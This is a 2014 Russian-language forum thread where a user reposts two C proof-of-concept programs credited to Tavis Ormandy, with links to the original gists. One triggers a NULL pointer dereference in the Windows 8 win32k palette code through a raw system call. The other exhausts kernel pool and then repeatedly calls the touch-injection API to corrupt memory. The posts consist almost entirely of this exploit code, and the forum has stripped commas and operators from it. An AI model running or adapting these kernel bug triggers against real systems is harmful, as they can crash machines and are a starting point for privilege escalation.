Старый 22.05.2014, 23:01   #1
mehdi racha
 
Регистрация: 09.11.2012
Сообщений: 12
Репутация: 0
По умолчанию New Windows 8 Kernel Vulnerability

PHP код:
#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS
#endif
#include <windows.h>
#include <assert.h>
#include <stdio.h>
#include <winerror.h>
#include <winternl.h>
#include <stddef.h>
#include <winnt.h>
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include <ntstatus.h>
 
#pragma comment(lib, "gdi32")
#pragma comment(lib, "user32")
 
#define __NR_NtGdiMakeObjectXferable (0x1000+0x037B)
 
// GreSetPaletteEntries NULL pointer dereference testcase.
//
// This testcase is Windows 8 specific (uses Xferable Objects), but the bug can
// be triggered without that feature on earlier versions in a more complicated way.
//
// This testcase will work on x64, just port SystemCall() to 64bit.
//
// Tavis Ormandy -- taviso@cmpxchg8b.com Feb 2014.
 
NTSTATUS SystemCall(DWORD NumberPVOID Args, ...)
{
    
NTSTATUS Status;
 
    
SetLastError(0);
 
    
__try {
        
__asm {
            
mov     eaxNumber
            lea     edx
Args
            int     0x2e
            mov     Status
eax
        
}
    } 
__except(EXCEPTION_EXECUTE_HANDLER) {
        return 
GetExceptionCode();
    }
    return 
Status;
}
 
 
 
int main(int argcchar **argv)
{
    
HPALETTE        Palette;
    
HDC             Device;
    
LOGPALETTE      LogPalette = {
        
768,            // Version
          
1,            // NumEntries
          
{
            
255,        // R
            
255,        // G
            
255,        // B
            
PC_EXPLICIT // Flags
          
},
    };
 
    
Device  GetDC(NULL);
    
Palette CreatePalette(&LogPalette);
 
    
SelectPalette(DevicePaletteFALSE);
 
    
// Make the DC screen xferable, this makes locking fail.
    // I don't know what this is used for, a breakpoint on
    // win32k!NtGdiMakeObjectXferable, never hits during normal usage but it
    // serves the purpose here well enough.
    
SystemCall(__NR_NtGdiMakeObjectXferableDeviceGetCurrentProcess());
 
    
SelectPalette(DevicePaletteTRUE);
    
SetPaletteEntries(Palette00NULL);
 
    return 
0;

https://gist.github.com/taviso/b54e50a3dddfb3fadd0a
mehdi racha вне форума   Ответить с цитированием
Старый 22.05.2014, 23:06   #2
mehdi racha
 
Регистрация: 09.11.2012
Сообщений: 12
Репутация: 0
По умолчанию

a bug in the Touch Injection API, brand new Windows 8 code
PHP код:
#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS
#endif
#include <windows.h>
#include <assert.h>
#include <stdio.h>
#include <winerror.h>
#include <winternl.h>
#include <stddef.h>
#include <winnt.h>
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include <ntstatus.h>
 
#pragma comment(lib, "ntdll")
#pragma comment(lib, "user32")
#pragma comment(lib, "gdi32")
#pragma comment(lib, "advapi32")
 
// InitializeTouchInjection() Win8.1 Testcase
// -- Tavis Ormandy <taviso@google.com>, Feb 2014.
 
int main(int argcchar **argv)
{
    
POINTER_TOUCH_INFO Contact;
    
SID_AND_ATTRIBUTES SidToRestricted;
    
ULONG Size;
    
HANDLE Handle;
 
    
ZeroMemory(&Contactsizeof Contact);
    
ZeroMemory(&SidToRestrictedsizeof SidToRestricted);
 
    
// I *think* TOUCH_MASK_CONTACTAREA is required (i.e. rcContact), the rest
    // just need to be valid.
    
Contact.pointerInfo.pointerType             PT_TOUCH;
    
Contact.pointerInfo.pointerFlags            POINTER_FLAG_DOWN POINTER_FLAG_INRANGE POINTER_FLAG_INCONTACT;
    
Contact.pointerInfo.ptPixelLocation.x       'AAAA';
    
Contact.pointerInfo.ptPixelLocation.y       'AAAA';
    
Contact.rcContact.left                      'AAAA';
    
Contact.rcContact.right                     'AAAA';
    
Contact.rcContact.top                       'AAAA';
    
Contact.rcContact.bottom                    'AAAA';
    
Contact.touchFlags                          TOUCH_FLAG_NONE;
    
Contact.touchMask                           TOUCH_MASK_CONTACTAREA;
    
Size                                        SECURITY_MAX_SID_SIZE;
    
Handle                                      INVALID_HANDLE_VALUE;
    
SidToRestricted.Sid                         _alloca(Size);
 
    
CreateWellKnownSid(WinNullSidNULLSidToRestricted.Sid, &Size);
 
    
// This just exhausts available pool (how that's accomplished is irrelevant).
    
for (Size << 26SizeSize >>= 1) {
        while (
CreateRoundRectRgn(001Size11))
            ;
    }
 
    for (;;) {
        
// Initialize touch injection with very small number of contacts.
        
InitializeTouchInjection(1TOUCH_FEEDBACK_DEFAULT);
 
        
// Now increase the number of contacts, which should (eventually) cause an allocation fail.
        
InitializeTouchInjection(MAX_TOUCH_COUNTTOUCH_FEEDBACK_DEFAULT);
 
        
// I think this will just massage the pool, sequence found by fuzzing.
        
OpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, &Handle);
        
CreateRestrictedToken(Handle00NULL0NULL1, &SidToRestricted, &Handle);
 
        
// Write something to the touch injection allocation.
        
InjectTouchInput(1, &Contact);
    }
 
    return 
0;

https://gist.github.com/taviso/4cfc3035e99f2ea1377e

Последний раз редактировалось mehdi racha; 22.05.2014 в 23:27..
mehdi racha вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot